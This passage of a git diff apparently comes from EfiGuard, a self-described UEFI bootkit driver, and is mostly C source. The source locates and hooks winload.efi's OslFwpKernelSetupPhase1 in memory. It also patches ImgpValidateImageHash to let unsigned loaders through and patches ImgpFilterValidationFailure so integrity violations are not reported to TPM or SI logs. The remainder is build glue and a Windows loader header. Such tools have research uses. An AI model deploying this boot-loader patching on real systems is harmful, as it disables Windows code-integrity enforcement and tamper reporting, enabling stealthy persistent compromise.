SectionName[EFI_IMAGE_SIZEOF_SHORT_NAME + 1]; + CopyMem(SectionName, PatternSection->Name, EFI_IMAGE_SIZEOF_SHORT_NAME); + SectionName[EFI_IMAGE_SIZEOF_SHORT_NAME] = '\0'; + Print(L"\r\n== Searching for EfipGetRsdt pattern in %a ==\r\n", SectionName); + + // Search for EFI ACPI 2.0 table GUID: { 8868e871-e4f1-11d3-bc22-0080c73c8881 } + UINT8* PatternAddress = NULL; + for (UINT8* Address = (UINT8*)PatternStartVa; + Address < ImageBase + NtHeaders->OptionalHeader.SizeOfImage - sizeof(gEfiAcpi20TableGuid); + ++Address) + { + if (CompareGuid((CONST GUID*)Address, &gEfiAcpi20TableGuid)) + { + PatternAddress = Address; + Print(L" Found EFI ACPI 2.0 GUID at 0x%llX.\r\n", (UINTN)PatternAddress); + break; + } + } + + if (PatternAddress == NULL) + { + Print(L" Failed to find EFI ACPI 2.0 GUID.\r\n"); + return EFI_NOT_FOUND; + } + + Print(L"\r\n== Disassembling .text to find EfipGetRsdt ==\r\n"); + UINT8* LeaEfiAcpiTableGuidAddress = NULL; + + // Initialize Zydis + ZydisDecoder Decoder; + ZyanStatus Status = ZydisInit(NtHeaders, &Decoder, NULL); + if (!ZYAN_SUCCESS(Status)) + { + Print(L"Failed to initialize disassembler engine.\r\n"); + return EFI_LOAD_ERROR; + } + + CONST UINTN Length = CodeSizeOfRawData; + UINTN Offset = 0; + ZyanU64 InstructionAddress; + ZydisDecodedInstruction Instruction; + + // Start decode loop + while ((InstructionAddress = (ZyanU64)(CodeStartVa + Offset), + Status = ZydisDecoderDecodeBuffer(&Decoder, + (VOID*)InstructionAddress, + Length - Offset, + &Instruction)) != ZYDIS_STATUS_NO_MORE_DATA) + { + if (!ZYAN_SUCCESS(Status)) + { + Offset++; + continue; + } + + // Check if this is "lea rcx, ds:[rip + offset_to_acpi20_guid]" + if (Instruction.operand_count == 2 && Instruction.mnemonic == ZYDIS_MNEMONIC_LEA && + Instruction.operands[0].type == ZYDIS_OPERAND_TYPE_REGISTER && + Instruction.operands[0].reg.value == ZYDIS_REGISTER_RCX && + Instruction.operands[1].type == ZYDIS_OPERAND_TYPE_MEMORY && + Instruction.operands[1].mem.base == ZYDIS_REGISTER_RIP) + { + ZyanU64 OperandAddress = 0; + if (ZYAN_SUCCESS(ZydisCalcAbsoluteAddress(&Instruction, &Instruction.operands[1], InstructionAddress, &OperandAddress)) && + OperandAddress == (UINTN)PatternAddress) + { + // Check for false positives (BlFwGetSystemTable) + CONST UINT8* Check = (UINT8*)(CodeStartVa + Offset - 4); // 4 = length of 'lea rdx, [r11+18h]' which precedes this instruction in EfipGetRsdt + if (Check[0] == 0x49 && Check[1] == 0x8D && Check[2] == 0x53) // If no match, this is not EfipGetRsdt + { + LeaEfiAcpiTableGuidAddress = (UINT8*)InstructionAddress; + Print(L" Found load instruction for EFI ACPI 2.0 GUID at 0x%llX.\r\n", (UINTN)LeaEfiAcpiTableGuidAddress); + break; + } + } + } + + Offset += Instruction.length; + } + + if (LeaEfiAcpiTableGuidAddress == NULL) + { + Print(L" Failed to find load instruction for EFI ACPI 2.0 GUID.\r\n"); + return EFI_NOT_FOUND; + } + + CONST UINT8* EfipGetRsdt = BacktrackToFunctionStart(LeaEfiAcpiTableGuidAddress, LeaEfiAcpiTableGuidAddress - Length); + if (EfipGetRsdt == NULL) + { + Print(L" Failed to find EfipGetRsdt.\r\n"); + return EFI_NOT_FOUND; + } + + Print(L" Found EfipGetRsdt at 0x%llX.\r\n", (UINTN)EfipGetRsdt); + Print(L"\r\n== Disassembling .text to find OslFwpKernelSetupPhase1 ==\r\n"); + UINT8* CallEfipGetRsdtAddress = NULL; + + // Start decode loop + Offset = 0; + UINTN ShortestDistanceToCall = MAX_UINTN; + while ((InstructionAddress = (ZyanU64)(CodeStartVa + Offset), + Status = ZydisDecoderDecodeBuffer(&Decoder, + (VOID*)InstructionAddress, + Length - Offset, + &Instruction)) != ZYDIS_STATUS_NO_MORE_DATA) + { + if (!ZYAN_SUCCESS(Status)) + { + Offset++; + continue; + } + + // Check if this is 'call IMM' + if (Instruction.operand_count == 4 && + Instruction.operands[0].type == ZYDIS_OPERAND_TYPE_IMMEDIATE && Instruction.operands[0].imm.is_relative == ZYAN_TRUE && + Instruction.mnemonic == ZYDIS_MNEMONIC_CALL) + { + // Check if this is 'call EfipGetRsdt' + ZyanU64 OperandAddress = 0; + if (ZYAN_SUCCESS(ZydisCalcAbsoluteAddress(&Instruction, &Instruction.operands[0], InstructionAddress, &OperandAddress)) && + OperandAddress == (UINTN)EfipGetRsdt) + { + // Calculate the distance from the start of the function to the instruction. OslFwpKernelSetupPhase1 will always have the shortest distance + CONST UINTN StartOfFunction = (UINTN)BacktrackToFunctionStart((UINT8*)InstructionAddress, (UINT8*)InstructionAddress - Length); + CONST UINTN Distance = InstructionAddress - StartOfFunction; + if (Distance < ShortestDistanceToCall) + { + CallEfipGetRsdtAddress = (UINT8*)InstructionAddress; + ShortestDistanceToCall = Distance; + } + } + } + + Offset += Instruction.length; + } + + if (CallEfipGetRsdtAddress == NULL) + { + Print(L" Failed to find a single 'call EfipGetRsdt' instruction.\r\n"); + return EFI_NOT_FOUND; + } + + // Found + *OslFwpKernelSetupPhase1Address = CallEfipGetRsdtAddress - ShortestDistanceToCall; + Print(L" Found OslFwpKernelSetupPhase1 at 0x%llX.\r\n\r\n", (UINTN)(*OslFwpKernelSetupPhase1Address)); + + return EFI_SUCCESS; +} + +// +// Patches winload.efi +// +EFI_STATUS +EFIAPI +PatchWinload( + IN VOID* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders + ) +{ + // Print file and version info + UINT16 MajorVersion = 0, MinorVersion = 0, BuildNumber = 0, Revision = 0; + EFI_STATUS Status = GetPeFileVersionInfo(ImageBase, &MajorVersion, &MinorVersion, &BuildNumber, &Revision, NULL); + if (EFI_ERROR(Status)) + Print(L"\r\nPatchWinload: WARNING: failed to obtain winload.efi version info. Status: %llx\r\n", Status); + else + { + Print(L"\r\nPatching winload.efi v%u.%u.%u.%u...\r\n", MajorVersion, MinorVersion, BuildNumber, Revision); + + // Check if this is a supported winload version. All patches should work on all versions since Vista SP1, + // except for the ImgpFilterValidationFailure patch because this function only exists on Windows 7 and higher. + if (BuildNumber < 6001) + { + Print(L"\r\nPatchWinload: ERROR: Unsupported winload.efi image version.\r\n"); + Status = EFI_UNSUPPORTED; + goto Exit; + } + + // Some... adjustments... need to be made later on in the case of pre-Windows 7 loader blocks + gKernelPatchInfo.LegacyLoaderBlock = BuildNumber < 7600; + } + + // Find the .text and .rdata sections + PEFI_IMAGE_SECTION_HEADER CodeSection = NULL, PatternSection = NULL; + PEFI_IMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(NtHeaders); + for (UINT16 i = 0; i < NtHeaders->FileHeader.NumberOfSections; ++i) + { + CHAR8 SectionName[EFI_IMAGE_SIZEOF_SHORT_NAME + 1]; + CopyMem(SectionName, Section->Name, EFI_IMAGE_SIZEOF_SHORT_NAME); + SectionName[MAX(sizeof(".text"), sizeof(".rdata"))] = '\0'; + + if (AsciiStrCmp(SectionName, ".text") == 0) + CodeSection = Section; + else if (AsciiStrCmp(SectionName, ".rdata") == 0) + PatternSection = Section; + + Section++; + } + + ASSERT(CodeSection != NULL); + ASSERT(PatternSection != NULL); + + // (Optional) On Windows 10, find winload!BlStatusPrint + if (BuildNumber >= 10240) + { + gBlStatusPrint = (t_BlStatusPrint)GetProcedureAddress((UINTN)ImageBase, NtHeaders, "BlStatusPrint"); + if (gBlStatusPrint == NULL) + { + // Not exported (RS4 and earlier) - try to find by signature + FindPattern(SigBlStatusPrint, + 0xCC, + sizeof(SigBlStatusPrint), + (VOID*)((UINT8*)ImageBase + CodeSection->VirtualAddress), + CodeSection->SizeOfRawData, + (VOID**)&gBlStatusPrint); + if (gBlStatusPrint == NULL) + { + gBlStatusPrint = BlStatusPrintNoop; + Print(L"\r\nWARNING: winload!BlStatusPrint not found. No boot debugger output will be available.\r\n"); + } + } + } + + // Find winload!OslFwpKernelSetupPhase1 + Status = FindOslFwpKernelSetupPhase1((UINT8*)ImageBase, + NtHeaders, + CodeSection, + PatternSection, + (BOOLEAN)(BuildNumber >= 10240), + (UINT8**)&gOriginalOslFwpKernelSetupPhase1); + if (EFI_ERROR(Status)) + { + Print(L"\r\nPatchWinload: failed to find OslFwpKernelSetupPhase1. Status: %llx\r\n", Status); + goto Exit; + } + + Print(L"HookedOslFwpKernelSetupPhase1 at 0x%p.\r\n", (VOID*)&HookedOslFwpKernelSetupPhase1); + + CONST EFI_TPL Tpl = gBS->RaiseTPL(TPL_HIGH_LEVEL); // Note: implies cli + + // Backup original function prologue + CopyMem(gOslFwpKernelSetupPhase1Backup, (VOID*)gOriginalOslFwpKernelSetupPhase1, sizeof(gOslFwpKernelSetupPhase1Backup)); + + // Place faux call (push addr, ret) at the start of the function to transfer execution to our hook + CopyMem((VOID*)gOriginalOslFwpKernelSetupPhase1, (VOID*)gHookTemplate, sizeof(gHookTemplate)); + *(UINTN*)((UINT8*)gOriginalOslFwpKernelSetupPhase1 + 2) = (UINTN)&HookedOslFwpKernelSetupPhase1; + + gBS->RestoreTPL(Tpl); + + // Patch ImgpValidateImageHash to allow custom boot loaders. This is completely + // optional (unless booting a custom ntoskrnl.exe), and failures are ignored + PatchImgpValidateImageHash(WinloadEfi, + (UINT8*)ImageBase, + NtHeaders); + + if (BuildNumber >= 7600) + { + // Patch ImgpFilterValidationFailure so it doesn't silently + // rat out every violation to a TPM or SI log. Also optional + PatchImgpFilterValidationFailure(WinloadEfi, + (UINT8*)ImageBase, + NtHeaders); + } + +Exit: + if (EFI_ERROR(Status)) + { + // Patch failed. Prompt user to ask what they want to do + Print(L"\r\nPress any key to continue anyway, or press ESC to reboot.\r\n"); + if (!WaitForKey()) + { + gRT->ResetSystem(EfiResetCold, EFI_SUCCESS, 0, NULL); + } + } + else + { + Print(L"Successfully patched winload!OslFwpKernelSetupPhase1.\r\n"); + RtlSleep(2000); + + if (gDriverConfig.WaitForKeyPress) + { + Print(L"\r\nPress any key to continue.\r\n"); + WaitForKey(); + } + } + + // Return success, because even if the patch failed, the user chose not to reboot above + return EFI_SUCCESS; +} diff --git a/EfiGuardDxe/VisualUefi.c b/EfiGuardDxe/VisualUefi.c new file mode 100644 index 0000000..ec02953 --- /dev/null +++ b/EfiGuardDxe/VisualUefi.c @@ -0,0 +1,108 @@ +// +// This file adds some things that are needed by VisualUefi. It should not be included under [Sources] of EDK2 .inf files. +// +#ifdef VISUALUEFI + +#include +#include +#include +#include +#include + + +// +// The following fields are automatically generated by the EDK2 build system, but VisualUefi expects them in the source code. +// +CONST UINT8 _gDriverUnloadImageCount = 1; +CONST UINT32 _gUefiDriverRevision = 0x210; +CONST UINT32 _gDxeRevision = 0x210; +CHAR8 *gEfiCallerBaseName = "EfiGuardDxe"; + + +// +// EfiGuard Bootkit Driver Protocol +// +EFI_GUID gEfiGuardDriverProtocolGuid = EFI_EFIGUARD_DRIVER_PROTOCOL_GUID; + + +// +// GUIDs +// +EFI_GUID gEfiDriverSupportedEfiVersionProtocolGuid = EFI_DRIVER_SUPPORTED_EFI_VERSION_PROTOCOL_GUID; +EFI_GUID gEfiAcpi20TableGuid = EFI_ACPI_20_TABLE_GUID; + + +// +// Placeholder definitions to make linking against BaseSynchronizationLib possible. See https://github.com/ionescu007/VisualUefi/issues/25 +// This is not a problem for us because we don't use spinlocks, only interlocked operations. +// +UINTN +EFIAPI +InternalGetSpinLockProperties( + VOID + ) +{ + ASSERT(FALSE); + return (UINTN)-1; +} + +UINT64 +EFIAPI +GetPerformanceCounter( + VOID + ) +{ + ASSERT(FALSE); + return (UINT64)-1; +} + +UINT64 +EFIAPI +GetPerformanceCounterProperties( + OUT UINT64 *StartValue OPTIONAL, + OUT UINT64 *EndValue OPTIONAL + ) +{ + ASSERT(FALSE); + return (UINT64)-1; +} + + +// +// Entry/unload handlers that VisualUefi expects with predefined names +// +extern +EFI_STATUS +EFIAPI +EfiGuardInitialize( + IN EFI_HANDLE ImageHandle, + IN EFI_SYSTEM_TABLE *SystemTable + ); + +EFI_STATUS +EFIAPI +UefiMain( + IN EFI_HANDLE ImageHandle, + IN EFI_SYSTEM_TABLE *SystemTable + ) +{ + return EfiGuardInitialize(ImageHandle, SystemTable); +} + +extern +EFI_STATUS +EFIAPI +EfiGuardUnload( + IN EFI_HANDLE ImageHandle + ); + +EFI_STATUS +EFIAPI +UefiUnload( + IN EFI_HANDLE ImageHandle + ) +{ + return EfiGuardUnload(ImageHandle); +} + +#endif // VISUALUEFI diff --git a/EfiGuardDxe/Zydis b/EfiGuardDxe/Zydis new file mode 160000 index 0000000..c307b43 --- /dev/null +++ b/EfiGuardDxe/Zydis @@ -0,0 +1 @@ +Subproject commit c307b4306e0800f8b9a6a2992b934219bdf956cc diff --git a/EfiGuardDxe/arc.h b/EfiGuardDxe/arc.h new file mode 100644 index 0000000..0bd5a0b --- /dev/null +++ b/EfiGuardDxe/arc.h @@ -0,0 +1,1317 @@ +/*++ BUILD Version: 0011 // Increment this if a change has global effects + +Copyright (c) Microsoft Corporation. All rights reserved. + +Module Name: + + arc.h + +Abstract: + + This header file defines the ARC system firmware interface and the + NT structures that are dependent on ARC types. + + This module may not contain any definitions that are exposed in + public kit headers. + +Author: + + David N. Cutler (davec) 18-May-1991 + +Revision History: + + James E. Moe (jamoe) 23-Jan-2003 + Public/Private header split + +--*/ + +// +// Despite the notice above, this file was 'exposed in public kit headers' in the Windows 10.0.10586.0 WDK. Oops. +// Some of these types also (re)appear seemingly at random in public PDBs, notably 10.0.17134.0+ and the Windows 7 ones. +// Much more info at https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/loader_parameter_block.htm +// + +#pragma once + +#include "ntdef.h" + +// +// Define configuration routine types. +// +// Configuration information. +// +typedef enum _CONFIGURATION_TYPE { + ArcSystem, + CentralProcessor, + FloatingPointProcessor, + PrimaryIcache, + PrimaryDcache, + SecondaryIcache, + SecondaryDcache, + SecondaryCache, + EisaAdapter, + TcAdapter, + ScsiAdapter, + DtiAdapter, + MultiFunctionAdapter, + DiskController, + TapeController, + CdromController, + WormController, + SerialController, + NetworkController, + DisplayController, + ParallelController, + PointerController, + KeyboardController, + AudioController, + OtherController, + DiskPeripheral, + FloppyDiskPeripheral, + TapePeripheral, + ModemPeripheral, + MonitorPeripheral, + PrinterPeripheral, + PointerPeripheral, + KeyboardPeripheral, + TerminalPeripheral, + OtherPeripheral, + LinePeripheral, + NetworkPeripheral, + SystemMemory, + DockingInformation, + RealModeIrqRoutingTable, + RealModePCIEnumeration, + MaximumType +} CONFIGURATION_TYPE, *PCONFIGURATION_TYPE; + +// +// Profile information stored in the registry, read from cmboot, and presented +// to the loader. +// +#define HW_PROFILE_STATUS_SUCCESS 0x0000 +#define HW_PROFILE_STATUS_ALIAS_MATCH 0x0001 +#define HW_PROFILE_STATUS_TRUE_MATCH 0x0002 +#define HW_PROFILE_STATUS_PRISTINE_MATCH 0x0003 +#define HW_PROFILE_STATUS_FAILURE 0xC001 + +// +// Docking States for the given profile +// +#define HW_PROFILE_DOCKSTATE_UNSUPPORTED (0x0) +#define HW_PROFILE_DOCKSTATE_UNDOCKED (0x1) +#define HW_PROFILE_DOCKSTATE_DOCKED (0x2) +#define HW_PROFILE_DOCKSTATE_UNKNOWN (0x3) +#define HW_PROFILE_DOCKSTATE_USER_SUPPLIED (0x4) +#define HW_PROFILE_DOCKSTATE_USER_UNDOCKED \ + (HW_PROFILE_DOCKSTATE_USER_SUPPLIED | HW_PROFILE_DOCKSTATE_UNDOCKED) +#define HW_PROFILE_DOCKSTATE_USER_DOCKED \ + (HW_PROFILE_DOCKSTATE_USER_SUPPLIED | HW_PROFILE_DOCKSTATE_DOCKED) + +// +// Capabilites of the given profile +// +#define HW_PROFILE_CAPS_VCR 0x0001 // As apposed to Surprize +#define HW_PROFILE_CAPS_DOCKING_WARM 0x0002 +#define HW_PROFILE_CAPS_DOCKING_HOT 0x0004 +#define HW_PROFILE_CAPS_RESERVED 0xFFF8 + +// +// Extension structure to the LOADER_PARAMETER_BLOCK in arc.h +// +typedef struct _PROFILE_PARAMETER_BLOCK { + UINT16 Status; + UINT16 Reserved; + UINT16 DockingState; + UINT16 Capabilities; + UINT32 DockID; + UINT32 SerialNumber; +} PROFILE_PARAMETER_BLOCK; + +// +// Block to communcation the current ACPI docking state +// +typedef struct _PROFILE_ACPI_DOCKING_STATE { + UINT16 DockingState; + UINT16 SerialLength; + CHAR16 SerialNumber[1]; +} PROFILE_ACPI_DOCKING_STATE, *PPROFILE_ACPI_DOCKING_STATE; + +// +// Define ARC_STATUS type. +// +typedef UINT32 ARC_STATUS; + +// +// Define configuration routine types. +// +// Configuration information. +// +typedef enum _CONFIGURATION_CLASS { + SystemClass, + ProcessorClass, + CacheClass, + AdapterClass, + ControllerClass, + PeripheralClass, + MemoryClass, + MaximumClass +} CONFIGURATION_CLASS, *PCONFIGURATION_CLASS; + +// +// Define DEVICE_FLAGS +// +typedef struct _DEVICE_FLAGS { + UINT32 Failed : 1; + UINT32 ReadOnly : 1; + UINT32 Removable : 1; + UINT32 ConsoleIn : 1; + UINT32 ConsoleOut : 1; + UINT32 Input : 1; + UINT32 Output : 1; +} DEVICE_FLAGS, *PDEVICE_FLAGS; + +typedef struct _CONFIGURATION_COMPONENT { + CONFIGURATION_CLASS Class; + CONFIGURATION_TYPE Type; + DEVICE_FLAGS Flags; + UINT16 Version; + UINT16 Revision; + UINT32 Key; + union { + UINT32 AffinityMask; + struct { + UINT16 Group; + UINT16 GroupIndex; + } s; + } u; + UINT32 ConfigurationDataLength; + UINT32 IdentifierLength; + CHAR8* Identifier; +} CONFIGURATION_COMPONENT, *PCONFIGURATION_COMPONENT; + +// +// Define configuration data structure used in all systems. +// +typedef struct _CONFIGURATION_COMPONENT_DATA { + struct _CONFIGURATION_COMPONENT_DATA *Parent; + struct _CONFIGURATION_COMPONENT_DATA *Child; + struct _CONFIGURATION_COMPONENT_DATA *Sibling; + CONFIGURATION_COMPONENT ComponentEntry; + VOID* ConfigurationData; +} CONFIGURATION_COMPONENT_DATA, *PCONFIGURATION_COMPONENT_DATA; + +// +// Define memory allocation structures used in all systems. +// +typedef enum _TYPE_OF_MEMORY { + LoaderExceptionBlock, // 0 + LoaderSystemBlock, // 1 + LoaderFree, // 2 + LoaderBad, // 3 + LoaderLoadedProgram, // 4 + LoaderFirmwareTemporary, // 5 + LoaderFirmwarePermanent, // 6 + LoaderOsloaderHeap, // 7 + LoaderOsloaderStack, // 8 + LoaderSystemCode, // 9 + LoaderHalCode, // a + LoaderBootDriver, // b + LoaderConsoleInDriver, // c + LoaderConsoleOutDriver, // d + LoaderStartupDpcStack, // e + LoaderStartupKernelStack, // f + LoaderStartupPanicStack, // 10 + LoaderStartupPcrPage, // 11 + LoaderStartupPdrPage, // 12 + LoaderRegistryData, // 13 + LoaderMemoryData, // 14 + LoaderNlsData, // 15 + LoaderSpecialMemory, // 16 + LoaderBBTMemory, // 17 + LoaderZero, // 18 + LoaderXIPRom, // 19 + LoaderHALCachedMemory, // 1a + LoaderLargePageFiller, // 1b + LoaderErrorLogMemory, // 1c + LoaderVsmMemory, // 1d + LoaderFirmwareCode, // 1e + LoaderFirmwareData, // 1f + LoaderFirmwareReserved, // 20 + LoaderEnclaveMemory, // 21 + LoaderFirmwareKsr, // 22 + LoaderEnclaveKsr, // 23 + LoaderSkMemory, // 24 + LoaderMaximum // 25 +} TYPE_OF_MEMORY; + +typedef struct _MEMORY_ALLOCATION_DESCRIPTOR { + LIST_ENTRY ListEntry; + TYPE_OF_MEMORY MemoryType; + UINTN BasePage; + UINTN PageCount; +} MEMORY_ALLOCATION_DESCRIPTOR, *PMEMORY_ALLOCATION_DESCRIPTOR; + +// +// Define loader parameter block structure. +// +typedef struct _NLS_DATA_BLOCK { + VOID* AnsiCodePageData; + VOID* OemCodePageData; + VOID* UnicodeCaseTableData; +} NLS_DATA_BLOCK, *PNLS_DATA_BLOCK; + +typedef struct _VHD_DISK_SIGNATURE { + UINT32 ParentPartitionNumber; + UINT8 BootDevice[ANYSIZE_ARRAY]; +} VHD_DISK_SIGNATURE, *PVHD_DISK_SIGNATURE; + +typedef struct _ARC_DISK_SIGNATURE { + LIST_ENTRY ListEntry; + UINT32 Signature; + CHAR8* ArcName; + UINT32 CheckSum; + BOOLEAN ValidPartitionTable; + BOOLEAN xInt13; + BOOLEAN IsGpt; + UINT8 Reserved; + UINT8 GptSignature[16]; + PVHD_DISK_SIGNATURE VhdSignature; +} ARC_DISK_SIGNATURE, *PARC_DISK_SIGNATURE; + +typedef struct _ARC_DISK_INFORMATION { + LIST_ENTRY DiskSignatures; +} ARC_DISK_INFORMATION, *PARC_DISK_INFORMATION; + +typedef struct _I386_LOADER_BLOCK { + +#if defined(_X86_) || defined(_AMD64_) + VOID* CommonDataArea; + UINT32 MachineType; // Temporary only + UINT32 VirtualBias; +#else + UINT32 PlaceHolder; +#endif + +} I386_LOADER_BLOCK, *PI386_LOADER_BLOCK; + +typedef struct _ARM_LOADER_BLOCK { + +#if defined(_ARM_) || defined(_ARM64_) + UINTN VirtualBias; + VOID* KdCpuBuffer; +#else + UINT32 PlaceHolder; +#endif + +} ARM_LOADER_BLOCK, *PARM_LOADER_BLOCK; + +#define NUMBER_OF_LOADER_TR_ENTRIES 8 + +typedef struct _LOADER_PERFORMANCE_DATA { + UINT64 StartTime; + UINT64 EndTime; + + // + // Below added in 10.0.17763.0 + // + UINT64 PreloadEndTime; + UINT64 TcbLoaderStartTime; + UINT64 LoadHypervisorTime; + UINT64 LaunchHypervisorTime; + UINT64 LoadVsmTime; + UINT64 LaunchVsmTime; + UINT64 LoadDriversTime; +} LOADER_PERFORMANCE_DATA, *PLOADER_PERFORMANCE_DATA; + +// +// Entropy result codes and source IDs +// for Boot entropy sources are defined both in arc.h and +// ntexapi.h. These two copies must be kept identical. +// +typedef enum _BOOT_ENTROPY_SOURCE_RESULT_CODE { + BootEntropySourceStructureUninitialized = 0, + BootEntropySourceDisabledByPolicy = 1, + BootEntropySourceNotPresent = 2, + BootEntropySourceError = 3, + BootEntropySourceSuccess = 4, +} BOOT_ENTROPY_SOURCE_RESULT_CODE, *PBOOT_ENTROPY_SOURCE_RESULT_CODE; + +typedef enum _BOOT_ENTROPY_SOURCE_ID { + BootEntropySourceNone = 0, + BootEntropySourceSeedfile = 1, + BootEntropySourceExternal = 2, + BootEntropySourceTpm = 3, + BootEntropySourceRdrand = 4, + BootEntropySourceTime = 5, + BootEntropySourceAcpiOem0 = 6, + BootEntropySourceUefi = 7, + BootEntropySourceCng = 8, + BootEntropySourceTcbTpm = 9, + BootEntropySourceTcbRdrand = 10, + BootMaxEntropySources = 10, +} BOOT_ENTROPY_SOURCE_ID; + +// +// The SORTPP tool can't handle array sizes expressed in terms of enums +// This hack can be removed when the tool is fixed +// +#define BootMaxEntropySources (10) + +#define BOOT_ENTROPY_SOURCE_DATA_SIZE (64) +#define BOOT_RNG_BYTES_FOR_NTOSKRNL (1024) +#define BOOT_SEED_BYTES_FOR_CNG (48) + +// +// The boot environment uses the following bytes from the ntoskrnl RNG data +// region. The kernel should consider the first +// BOOT_BL_NTOSKRNL_RNG_BYTES_USED bytes already consumed. +// +#define BOOT_BL_NTOSKRNL_RNG_BYTES_USED (55 * sizeof(UINT32)) + +// +// Boot entropy information +// This is the data that Boot passes to NT that contains the +// entropy & RNG information. +// These are the Boot versions of these structures. +// The name contains the string 'LDR' to distinguish it from the +// OS loader equivalents in ntexapi_h.w +// +typedef struct _BOOT_ENTROPY_SOURCE_LDR_RESULT { + BOOT_ENTROPY_SOURCE_ID SourceId; + UINT64 Policy; + BOOT_ENTROPY_SOURCE_RESULT_CODE ResultCode; + NTSTATUS ResultStatus; + UINT64 Time; // in BlArchGetPerformanceCounter() units + UINT32 EntropyLength; + UINT8 EntropyData[BOOT_ENTROPY_SOURCE_DATA_SIZE]; +} BOOT_ENTROPY_SOURCE_LDR_RESULT, *PBOOT_ENTROPY_SOURCE_LDR_RESULT; + +// +// EFI Offline crashdump configuration table definition. +// +#define OFFLINE_CRASHDUMP_VERSION_1 1 +#define OFFLINE_CRASHDUMP_VERSION_2 2 +#define OFFLINE_CRASHDUMP_VERSION_MAX OFFLINE_CRASHDUMP_VERSION_2 + +typedef struct _OFFLINE_CRASHDUMP_CONFIGURATION_TABLE_V2 { + UINT32 Version; + UINT32 AbnormalResetOccurred; + UINT32 OfflineMemoryDumpCapable; + + // + // Version_2 additional members. + // + PHYSICAL_ADDRESS ResetDataAddress; + UINT32 ResetDataSize; +} OFFLINE_CRASHDUMP_CONFIGURATION_TABLE_V2, *POFFLINE_CRASHDUMP_CONFIGURATION_TABLE_V2; + +// +// Original first version definition. Now only used in winload.efi when interfacing with firmware, and in +// sysinfo.c when interfacing with higher level sw above the kernel, to maintain backward compatibility. +// +typedef struct _OFFLINE_CRASHDUMP_CONFIGURATION_TABLE_V1 { + UINT32 Version; + UINT32 AbnormalResetOccurred; + UINT32 OfflineMemoryDumpCapable; +} OFFLINE_CRASHDUMP_CONFIGURATION_TABLE_V1, *POFFLINE_CRASHDUMP_CONFIGURATION_TABLE_V1; + +typedef OFFLINE_CRASHDUMP_CONFIGURATION_TABLE_V2 OFFLINE_CRASHDUMP_CONFIGURATION_TABLE; +typedef POFFLINE_CRASHDUMP_CONFIGURATION_TABLE_V2 POFFLINE_CRASHDUMP_CONFIGURATION_TABLE; + +// +// The constant BootMaxEntropySources is defined both in arc.w and ntexapi_h.w. +// If these ever get out of sync, different components will disagree on the value, +// and thus on the size of the array below. +// To help detect this type of bug we add a field with this constant so that the +// CHKed builds can assert on it. +// +typedef struct _BOOT_ENTROPY_LDR_RESULT { + UINT32 maxEntropySources; + BOOT_ENTROPY_SOURCE_LDR_RESULT EntropySourceResult[BootMaxEntropySources]; + UINT8 SeedBytesForCng[BOOT_SEED_BYTES_FOR_CNG]; + UINT8 RngBytesForNtoskrnl[BOOT_RNG_BYTES_FOR_NTOSKRNL]; + + // + // This field was added in an unknown Windows 10 revision after 10.0.10586.0 + // + UINT8 KdEntropy[32]; +} BOOT_ENTROPY_LDR_RESULT, *PBOOT_ENTROPY_LDR_RESULT; + +// +// Hypervisor specific loader parameters. +// +typedef struct _LOADER_PARAMETER_HYPERVISOR_EXTENSION { + + // + // Hypervisor crashdump pages if present. + // + UINT32 InitialHypervisorCrashdumpAreaPageCount; + UINT32 HypervisorCrashdumpAreaPageCount; + UINT64 InitialHypervisorCrashdumpAreaSpa; + UINT64 HypervisorCrashdumpAreaSpa; + + // + // Hypervisor launch status. + // + UINT64 HypervisorLaunchStatus; + UINT64 HypervisorLaunchStatusArg1; + UINT64 HypervisorLaunchStatusArg2; + UINT64 HypervisorLaunchStatusArg3; + UINT64 HypervisorLaunchStatusArg4; + +} LOADER_PARAMETER_HYPERVISOR_EXTENSION, *PLOADER_PARAMETER_HYPERVISOR_EXTENSION; + +// +// Code Integrity specific loader parameters. +// +typedef struct _LOADER_PARAMETER_CI_EXTENSION +{ + UINT32 CodeIntegrityOptions; + struct { + UINT32 UpgradeInProgress : 1; + UINT32 IsWinPE : 1; + UINT32 CustomKernelSignersAllowed : 1; + UINT32 Reserved : 29; + } s; + LARGE_INTEGER WhqlEnforcementDate; + UINT32 RevocationListOffset; + UINT32 RevocationListSize; + UINT32 CodeIntegrityPolicyOffset; + UINT32 CodeIntegrityPolicySize; + UINT32 CodeIntegrityPolicyHashOffset; + UINT32 CodeIntegrityPolicyHashSize; + UINT32 CodeIntegrityPolicyOriginalHashOffset; + UINT32 CodeIntegrityPolicyOriginalHashSize; + INT32 WeakCryptoPolicyLoadStatus; + UINT32 WeakCryptoPolicyOffset; + UINT32 WeakCryptoPolicySize; + UINT32 SecureBootPolicyOffset; + UINT32 SecureBootPolicySize; + UINT32 Reserved2; + UINT8 SerializedData[ANYSIZE_ARRAY]; // RevocationListSize bytes +} LOADER_PARAMETER_CI_EXTENSION, *PLOADER_PARAMETER_CI_EXTENSION; + +typedef struct _HAL_EXTENSION_INSTANCE_ENTRY { + + // + // Link into HalExtensionInstanceList in HAL_EXTENSION_MODULE_ENTRY. + // + LIST_ENTRY ListEntry; + + // + // Offset from the start of the ACPI Core System Resource Table to + // the Resource Group associate with this instance. + // + UINT32 OffsetIntoCsrt; +} HAL_EXTENSION_INSTANCE_ENTRY, *PHAL_EXTENSION_INSTANCE_ENTRY; + +typedef struct _HAL_EXTENSION_MODULE_ENTRY { + + // + // Link into HalExtensionList in LOADER_PARAMETER_EXTENSION. + // + LIST_ENTRY ListEntry; + + // + // Pointer to the associated module entry on the LoadOrderListHead list. + // This keeps info on the module name and entry point, among other things. + // + VOID* HalExtensionInfo; + + // + // List of HAL_EXTENSION_INSTANCE_ENTRY structures tracking which Resource + // Groups this extension is installed on. + // + LIST_ENTRY HalExtensionInstanceList; + + // + // Name and load status of the HAL Extension for debugging purposes. + // + NTSTATUS ModuleLoadStatus; + CHAR8* ModuleName; + CHAR8* ModulePath; + +} HAL_EXTENSION_MODULE_ENTRY, *PHAL_EXTENSION_MODULE_ENTRY; + +typedef struct _LOADER_BUGCHECK_PARAMETERS { + + // + // Bugcheck parameters passed to the kernel. + // + UINT32 BugcheckCode; + UINTN BugcheckParameter1; + UINTN BugcheckParameter2; + UINTN BugcheckParameter3; + UINTN BugcheckParameter4; +} LOADER_BUGCHECK_PARAMETERS, *PLOADER_BUGCHECK_PARAMETERS; + +// +// Since 10.0.14393.0 +// +typedef struct _LEAP_SECOND_DATA { + UINT8 Enabled; + UINT32 Count; + 